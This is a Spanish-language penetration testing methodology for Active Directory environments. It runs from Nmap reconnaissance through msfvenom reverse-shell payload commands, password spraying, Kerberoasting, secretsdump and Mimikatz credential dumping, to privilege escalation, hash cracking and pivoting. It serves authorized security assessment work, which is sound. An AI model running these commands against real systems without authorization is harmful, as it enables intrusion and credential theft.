Metodología de Pruebas de Penetración con Enfoque en Active Directory

Introducción General

Este documento establece una metodología de trabajo estructurada y sistemática para la ejecución de pruebas de penetración, abarcando desde el reconocimiento inicial hasta la explotación avanzada de entornos de Directorio Activo (Active Directory, AD). El propósito es proporcionar un marco de referencia claro, repetible y profesional que sirva como guía para los equipos de ciberseguridad y como base para la definición de alcances con clientes. Este enfoque garantiza una cobertura exhaustiva y resultados consistentes en las evaluaciones de seguridad.

1.0 Fase I: Reconocimiento y Enumeración

La fase de reconocimiento es la piedra angular de cualquier prueba de penetración exitosa. Una enumeración exhaustiva y metódica constituye la base sobre la cual se planifican todas las acciones posteriores. Este proceso permite identificar la superficie de ataque externa, descubrir puntos de entrada potenciales y catalogar las tecnologías en uso. La información recopilada en esta etapa es crucial para trazar una estrategia de ataque informada y eficiente.

1.1 Objetivo Principal

El objetivo de esta fase es **"Encontrar el punto de entrada (Foothold) inicial en la infraestructura del objetivo"**.

1.2 Descubrimiento de Red con Nmap

El uso táctico de `Nmap` es fundamental para el mapeo inicial de la red y la identificación de servicios activos. Las siguientes técnicas de escaneo se aplican para obtener una visión completa del perímetro:

- **Host Discovery (`-sn`):** Se realiza un barrido de ping para identificar de manera rápida y eficiente qué hosts están activos dentro de un rango de red determinado. Esto permite centrar los esfuerzos posteriores únicamente en los hosts activos.
- **Full Scan (`-p- --min-rate 5000`):** Se ejecuta un escaneo completo de los 65,535 puertos TCP para asegurar que no se omita ningún servicio que esté operando en un puerto no estándar. La alta velocidad del escaneo optimiza el tiempo de la evaluación.

- **Service & Script Scan (`-sC -sV`):** Una vez identificados los puertos abiertos, este escaneo permite determinar las versiones exactas de los servicios en ejecución y ejecuta un conjunto de scripts básicos para detectar vulnerabilidades de bajo nivel o configuraciones incorrectas conocidas.
- **NSE Específicos (`--script vuln`, `--script smb-*`):** Para una investigación más profunda, se utilizan los scripts del Nmap Scripting Engine (NSE). El script `vuln` busca activamente vulnerabilidades explotables conocidas, mientras que scripts como `smb-*` se enfocan en la enumeración detallada y la detección de fallos en servicios específicos como el protocolo SMB.

1.3 Enumeración de Aplicaciones Web (HTTP/HTTPS)

Los activos web son un vector de entrada común y requieren un análisis detallado mediante las siguientes herramientas y técnicas:

- **Burp Suite:** Actúa como la herramienta central para el análisis de aplicaciones web. Su función de proxy permite interceptar, inspeccionar y modificar todo el tráfico entre el navegador y el servidor. El módulo `Repeater` es utilizado para manipular peticiones de forma manual y probar diferentes payloads, mientras que el módulo `Intruder` facilita la automatización de ataques básicos de *fuzzing* contra parámetros y puntos de entrada.
- **Escaneo de CMS (WordPress):** Si se identifica un sitio basado en WordPress, el uso de `WPScan` es crítico. Esta herramienta especializada proporciona información de alto valor para la explotación:
  - `--enumerate u`: Enumera nombres de usuario válidos.
  - `--enumerate p`: Identifica plugins instalados y resalta aquellos con vulnerabilidades conocidas.
  - `--enumerate t`: Enumera los temas utilizados, que también pueden ser una fuente de vulnerabilidades.
- **Fuzzing de Directorios y Archivos:** Se emplean herramientas como `gobuster` o `dirb` para descubrir directorios, archivos y puntos de entrada ocultos en el servidor web. Este contenido no enlazado a menudo puede revelar información sensible, paneles de administración o funcionalidades vulnerables.

1.4 Mapeo de Vulnerabilidades con Searchsploit

Una vez identificados los servicios y sus versiones, el siguiente paso es correlacionar esta información con exploits públicos disponibles. El flujo de trabajo con `Searchsploit` es el siguiente:

1. **Búsqueda (`searchsploit "nombre servicio"`):** Se realizan búsquedas en la base de datos local de Exploit-DB para encontrar exploits que coincidan con el software y la versión identificados.
2. **Copia (`searchsploit -m`):** El código del exploit seleccionado se copia al directorio de trabajo actual para su posterior análisis y modificación.

3. **Análisis:** Es un paso crítico y obligatorio analizar el código fuente del exploit con `cat` o `vim`. Este análisis es fundamental para comprender su funcionamiento, los parámetros que requiere y asegurarse de que no contiene código malicioso antes de su ejecución.

Una vez mapeadas las vulnerabilidades y analizados los exploits potenciales, el siguiente paso lógico es intentar la explotación para obtener acceso al sistema.

2.0 Fase II: Explotación y Acceso Inicial

Esta fase se enfoca en materializar las oportunidades identificadas durante el reconocimiento. El objetivo es convertir una vulnerabilidad teórica en un acceso práctico y tangible al sistema objetivo. El éxito en esta etapa se mide por la obtención de una "shell" o un control interactivo inicial sobre una máquina dentro del perímetro de la red.

2.1 Objetivo Principal

El objetivo de esta fase es **"Conseguir la primera Reverse Shell en un sistema comprometido"**.

2.2 Herramientas para la Explotación Manual

La explotación a menudo requiere una combinación de herramientas versátiles para ejecutar el código, gestionar la comunicación y transferir archivos.

Herramienta	Aplicación Táctica	Ejemplo de Uso
Python3	Ejecución de exploits en formato `.py` y levantamiento de servidores web simples para la transferencia de archivos.	`python3 -m http.server 80`
Netcat	Actuar como *listener* para recibir conexiones inversas (*reverse shells*) y para transferencias de archivos simples.	`nc -nlvp 4444`
Hydra	Realizar ataques de fuerza bruta online contra servicios de autenticación como SSH, FTP, RDP y formularios web.	`hydra -L users.txt -P pass.txt ssh://<IP>`

2.3 Frameworks de Explotación Automatizada

Para agilizar el proceso de explotación, se utiliza `Metasploit Framework` como una plataforma integral.

- **Consola (`msfconsole`):** Es la interfaz principal del framework. Desde aquí se buscan, configuran y lanzan módulos de explotación. La configuración básica implica establecer las variables `RHOSTS` (dirección IP del objetivo) y `LHOST` (dirección IP del atacante para recibir la conexión).
- **Generación de Payloads (`msfvenom`):** Esta herramienta independiente permite la creación de *payloads* personalizados para evadir defensas y adaptarse a diferentes escenarios. Algunos ejemplos clave incluyen:
    - **Windows:** `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe`
    - **Linux:** `msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell`
    - **Web:** Payloads en formatos específicos como PHP, ASPX o JSP, diseñados para ser subidos y ejecutados a través de una vulnerabilidad en una aplicación web.

Una vez que se ha obtenido el acceso inicial, el foco de la prueba se desplaza del perímetro externo hacia el entorno de red interno, que en la mayoría de las organizaciones está gobernado por Active Directory.

3.0 Fase III: Análisis y Explotación de Active Directory

Active Directory es el núcleo de la mayoría de las redes corporativas, gestionando la identidad, la autenticación y la autorización. Como tal, representa un objetivo de alto valor para un atacante. Esta fase de la metodología se centra exclusivamente en enumerar la arquitectura del dominio, identificar debilidades de configuración y explotarlas para escalar privilegios y moverse lateralmente a través de la red.

3.1 Objetivo Principal

El objetivo de esta fase es **"Enumerar el dominio, escalar privilegios y moverse lateralmente a través de la red interna"**.

3.2 Enumeración de AD sin Credenciales (Pre-Autenticación)

Incluso antes de obtener credenciales válidas, es posible recopilar una cantidad significativa de información sobre el dominio.

- **`Kerbrute`:** Se utiliza para realizar ataques de enumeración contra el Controlador de Dominio. La técnica `userenum` permite validar listas de nombres de usuario

potenciales, mientras que `passwordspray` prueba una única contraseña (generalmente una débil y común) contra todos los usuarios descubiertos, buscando un acierto sin bloquear cuentas.

- **`CrackMapExec/NetExec`:** Esta herramienta puede enumerar recursos compartidos SMB (`--shares`) y obtener la política de contraseñas del dominio (`--pass-pol`) sin necesidad de autenticación. También es útil para verificar si es posible establecer una sesión nula (`-u '' -p ''`), lo que podría exponer información adicional.

3.3 Enumeración de AD con Credenciales

Una vez que se obtiene un conjunto de credenciales válidas (incluso las de un usuario con privilegios bajos), se desbloquea un nuevo nivel de enumeración.

- **`BloodHound`:** Herramienta fundamental para visualizar las complejas relaciones de confianza y las rutas de ataque dentro de un entorno de Active Directory. Se utilizan colectores como `SharpHound.exe` (en Windows) o `bloodhound-python` (en Linux) para recopilar datos. El análisis posterior se centra en identificar "el camino más corto a Domain Admin" y otras rutas de escalada de privilegios.
- **`PowerView.ps1`:** Un potente script de PowerShell para la enumeración manual y detallada de AD. Permite ejecutar consultas específicas para obtener una comprensión profunda del entorno:
  - `Get-NetUser`, `Get-NetComputer`: Permiten enumerar todos los usuarios y equipos del dominio.
  - `Find-LocalAdminAccess`: Identifica en qué máquinas el usuario actual posee privilegios de administrador local, un dato de valor incalculable para el movimiento lateral. Esto proporciona rutas de ataque inmediatas y accionables sin necesidad de crackear hashes o descubrir nuevas vulnerabilidades.
  - `Get-NetGPO`, `Get-DomainShare`: Ayudan a obtener información sobre Políticas de Grupo y recursos compartidos de archivos en todo el dominio.

3.4 Vectores de Ataque Comunes en AD

La suite de scripts `Impacket` es esencial para ejecutar una variedad de ataques clásicos contra Active Directory:

- **`GetNPUsers.py` (AS-REP Roasting):** Este ataque se dirige a cuentas de usuario que tienen la pre-autenticación de Kerberos desactivada. Permite solicitar una porción del hash de la contraseña del usuario sin necesidad de una contraseña previa, que luego puede ser crackeada offline.
- **`GetUserSPNs.py` (Kerberoasting):** Se abusa de cuentas de servicio solicitando tickets de servicio (TGS) para ellas. Las porciones cifradas de estos tickets contienen el hash de la contraseña de la cuenta de servicio, que también puede ser extraído y crackeado offline.
- **`secretsdump.py`:** Si se han obtenido privilegios de administrador en una máquina (especialmente en un Controlador de Dominio), esta herramienta puede extraer

todos los hashes de credenciales de la base de datos SAM, el LSA o el archivo `NTDS.dit`.

- **`CrackMapExec`:** Además de la enumeración, es una herramienta poderosa para la post-explotación, permitiendo la ejecución remota de comandos (`-x "whoami"`) y la exploración recursiva de recursos compartidos (`spider_plus`).

3.5 Técnicas de Movimiento Lateral

Moverse de una máquina comprometida a otra es clave para alcanzar los objetivos de la prueba.

- **`Evil-WinRM`:** Proporciona una shell interactiva muy funcional si el puerto 5985 (WinRM) está abierto en el objetivo. Facilita enormemente la subida y descarga de archivos.
- **Suite `Impacket`:** Ofrece múltiples herramientas para la ejecución remota, como `psexec.py`, `wmiexec.py` y `smbexec.py`, cada una utilizando un protocolo diferente para establecer una shell.
- **`XFreeRDP`:** Se utiliza para obtener acceso gráfico a través del Protocolo de Escritorio Remoto (RDP), lo que puede facilitar la interacción con el sistema objetivo. Una sintaxis de uso común es: `/u:user /p:pass /v:IP /dynamic-resolution +clipboard`.
- **Pass-the-Hash (PtH):** Un concepto fundamental en el que se utiliza un hash NTLM en lugar de una contraseña en texto plano para autenticarse en otros sistemas. Herramientas como `crackmapexec`, `impacket` y `evil-winrm` (usando el flag `-H`) soportan nativamente esta técnica.

Independientemente de la técnica utilizada para el movimiento lateral, a menudo es necesario escalar privilegios en la máquina local para acceder a credenciales o datos más sensibles.

4.0 Fase IV: Escalada de Privilegios Local

Obtener un acceso inicial como un usuario de bajos privilegios es solo el primer paso. La escalada de privilegios es una fase estratégica cuyo objetivo es obtener el máximo nivel de control sobre el sistema comprometido. Alcanzar privilegios de `SYSTEM` en Windows o `root` en Linux es fundamental para poder exfiltrar datos sensibles, desplegar mecanismos de persistencia o pivotar hacia otros sistemas con una mayor autoridad.

4.1 Objetivo Principal

El objetivo de esta fase es **"Convertirse en `SYSTEM` o `root` en la máquina comprometida"**.

4.2 Escalada de Privilegios en Windows

Los sistemas Windows ofrecen múltiples vías para la escalada de privilegios, que pueden ser identificadas con las siguientes herramientas y técnicas:

- **PowerUp.ps1:** Este script de PowerShell automatiza la búsqueda de configuraciones incorrectas comunes. Su función `Invoke-AllChecks` busca sistemáticamente vectores como servicios con permisos vulnerables, oportunidades de secuestro de DLLs (DLL hijacking) y rutas de servicio sin comillas.
- **Comprobaciones Manuales:** La revisión manual es crucial para descubrir vectores que las herramientas automáticas pueden pasar por alto:
    - `whoami /priv`: Se utiliza para verificar los privilegios del token del usuario actual. Privilegios como `SeImpersonatePrivilege` pueden ser abusados para escalar a `SYSTEM` mediante ataques de la familia "Potato".
    - `cmdkey /list`: Permite buscar credenciales guardadas en el Gestor de Credenciales de Windows, que podrían pertenecer a usuarios con mayores privilegios.
- **Mimikatz:** Es la herramienta por excelencia para la extracción de credenciales post-explotación en Windows. Sus funciones más importantes son:
    - `privilege::debug`: Se ejecuta para obtener los privilegios necesarios para interactuar con procesos críticos del sistema.
    - `sekurlsa::logonpasswords`: Permite extraer contraseñas en texto plano y hashes NTLM directamente de la memoria del proceso LSASS.
    - `lsadump::sam`: Vuelca los hashes de las cuentas locales desde la base de datos SAM.

4.3 Escalada de Privilegios en Linux

Aunque la metodología se centra en Active Directory, los principios de escalada en sistemas Linux siguen siendo fundamentales. La aproximación se basa en los siguientes principios:

- Verificar los permisos de `sudo` con el comando `sudo -l` para identificar si el usuario actual puede ejecutar comandos como otro usuario, especialmente como `root`.
- Buscar binarios con el bit `SUID` activado (`find / -perm -u=s ...`), ya que estos se ejecutan con los permisos del propietario del archivo (a menudo `root`) y pueden ser explotados si son vulnerables.
- Buscar exploits de kernel aplicables a la versión del sistema operativo utilizando `searchsploit` para aprovechar vulnerabilidades en el propio núcleo de Linux.

Los hashes y credenciales obtenidos durante la explotación y escalada de privilegios son activos valiosos que deben ser procesados para convertirlos en contraseñas en texto plano.

5.0 Fase V: Craqueo de Credenciales y Hashes

La obtención de hashes de contraseñas es un resultado común en las pruebas de penetración. Esta fase se dedica a utilizar herramientas y técnicas especializadas para "crackear" dichos hashes, convirtiéndolos en contraseñas en texto plano. Las contraseñas en claro son mucho más versátiles que los hashes, ya que permiten la reutilización de credenciales en diferentes servicios y facilitan el movimiento lateral.

5.1 Objetivo Principal

El objetivo de esta fase es **"Obtener contraseñas en texto plano a partir de los hashes robados"**.

5.2 Formatos de Hash Comunes

Durante una evaluación, es común encontrar una variedad de formatos de hash, entre los que se incluyen:

- NTLM (Contraseñas de usuarios de Windows)
- KRB5TGS (Obtenidos mediante ataques de Kerberoasting)
- AS-REP (Obtenidos mediante ataques de AS-REP Roasting)
- MD5/SHA (Comunes en bases de datos de aplicaciones web)

5.3 Herramientas de Craqueo

Se utilizan dos herramientas principales para el craqueo de contraseñas, cada una con sus propias fortalezas.

Herramienta	Fortaleza Principal	Ejemplo de Uso (Ataque de Diccionario)
Hashcat	Potencia de GPU para un craqueo de alta velocidad.	`hashcat -m 1000 hash.txt rockyou.txt` (NTLM) `hashcat -m 13100 hash.txt rockyou.txt` (Kerberoasting)
John The Ripper	Versatilidad (basado en CPU) y capacidad para identificar automáticamente formatos de hash.	`john --wordlist=rockyou.txt hash.txt`

Una vez que se ha obtenido el control de una máquina en la red interna y se han crackeado las credenciales, el siguiente paso crítico es utilizar esa máquina como una plataforma para atacar otros sistemas que no eran accesibles desde el exterior.

6.0 Fase VI: Pivote y Movimiento Lateral en la Red

El pivote es una de las técnicas más avanzadas y críticas en una prueba de penetración realista. Consiste en utilizar una máquina ya comprometida como un "puente" o plataforma de salto para acceder y atacar segmentos de la red interna que, de otro modo, serían inaccesibles desde la perspectiva del atacante externo. Esta capacidad para navegar y operar dentro de la red interna es lo que distingue una evaluación de seguridad superficial de una simulación de ataque completa.

6.1 Objetivo Principal

El objetivo de esta fase es **"Atacar la red interna desde la máquina comprometida"**.

6.2 Pivote a través de Metasploit

Metasploit Framework integra potentes capacidades para facilitar el pivote:

- **Enrutamiento de Tráfico (`autoroute`):** Este comando, ejecutado dentro de una sesión de Meterpreter, modifica la tabla de enrutamiento de Metasploit para dirigir el tráfico destinado a las subredes internas a través de la máquina comprometida. Esto hace que la red interna sea directamente accesible para otros módulos de Metasploit.
- **Creación de Proxies (`socks_proxy`):** Este módulo permite levantar un servidor proxy SOCKS en la máquina del atacante que tuneliza el tráfico a través de la sesión de Meterpreter. Esto es clave para poder utilizar herramientas externas contra la red interna.

6.3 Uso de Herramientas Externas a través de un Túnel

Una vez que el proxy SOCKS está activo, se pueden canalizar herramientas externas a través de él.

- **Proxychains:** Esta utilidad se configura en el archivo `/etc/proxychains.conf` para apuntar al proxy SOCKS creado por Metasploit. Al anteponer `proxychains` a cualquier comando (`nmap`, `crackmapexec`, la suite `Impacket`), se fuerza a que todo el tráfico de esa herramienta pase a través del túnel, permitiéndole operar contra los hosts de la red interna como si estuviera ejecutándose localmente en la máquina comprometida.

6.4 Creación de Túneles con SSH

Como alternativa a Metasploit, SSH ofrece capacidades robustas para la creación de túneles:

- **Local Port Forwarding (`-L`):** Redirige un puerto local de la máquina atacante a un puerto específico de un host en la red interna, a través del sistema comprometido. Ideal para acceder a un servicio concreto.

- **Dynamic Port Forwarding (`-D`):** Crea un proxy SOCKS versátil en un puerto local de la máquina atacante. Todo el tráfico enviado a este puerto se tuneliza a través del sistema comprometido, permitiendo un acceso flexible a la red interna para múltiples herramientas.

Conclusión Metodológica

Las fases presentadas en este documento describen un flujo de trabajo lógico, pero no son necesariamente lineales. Por el contrario, forman un ciclo iterativo. El descubrimiento de nueva información en una fase avanzada, como la obtención de un nuevo conjunto de credenciales, a menudo requiere volver a una fase anterior para realizar una nueva enumeración de Active Directory con la autoridad recién adquirida. Este enfoque integral y cíclico permite una evaluación profunda, exhaustiva y realista de la postura de seguridad de una organización, simulando las acciones de un atacante persistente y adaptativo.